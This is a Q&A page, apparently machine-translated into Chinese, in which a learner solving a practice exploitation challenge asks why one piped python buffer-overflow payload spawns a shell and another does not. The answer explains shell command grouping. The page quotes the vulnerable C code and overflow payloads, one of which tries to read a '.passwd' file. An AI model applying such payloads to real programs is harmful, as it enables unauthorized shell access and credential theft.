标准输入传递流的方式有何不同?

时间:2017-06-01 14:48:45

标签: c shellcode

我是Linux的新手和剥削者。我试图解决一些开发挑战,我意识到一些有趣的事情。

[1] (python -c 'print "a"*40 + "\xef\xbe\xad\xde"';cat ) | ./ch13

[2] python -c 'print "a"*40 + "\xef\xbe\xad\xde"';cat | ./ch13

当我使用I [1]时,我的shellcode工作正常,并且它不能与另一个一起工作。那么,我的shellcode对程序的影响有多大?他们之间有多么不同?

和最后一个, [3] python -c 'print "a"*40 + "\xef\xbe\xad\xde\0" + " -c \"cat .passwd\""'
我尝试将shellcode -c "cat .passwd"作为argv传递给程序。但我得到了一些消息!

注意:这是程序代码(已更改):

int check = 0x04030201;
  char buf[40];

  fgets(buf,45,stdin);

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("UUU\n");

  if (check == 0xdeadbeef)
   {
     printf("Opening your shell...\n");
     system("/bin/dash");
   }

感谢阅读!希望能获得纪录片。

1 个答案:

答案 0 :(得分:1)

在第二个版本中,python输出未通过管道传输到./chi13,它会在屏幕上打印出来。 ;分隔命令,因此它等同于:

python -c 'print "a"*40 + "\xef\xbe\xad\xde"'
cat  | ./ch13    

您需要对这两个命令进行分组,以使它们都写入管道。您可以将它们放在包含()的子shell中,或者使用{}分组:

{ python -c 'print "a"*40 + "\xef\xbe\xad\xde"'; cat; } | ./chi13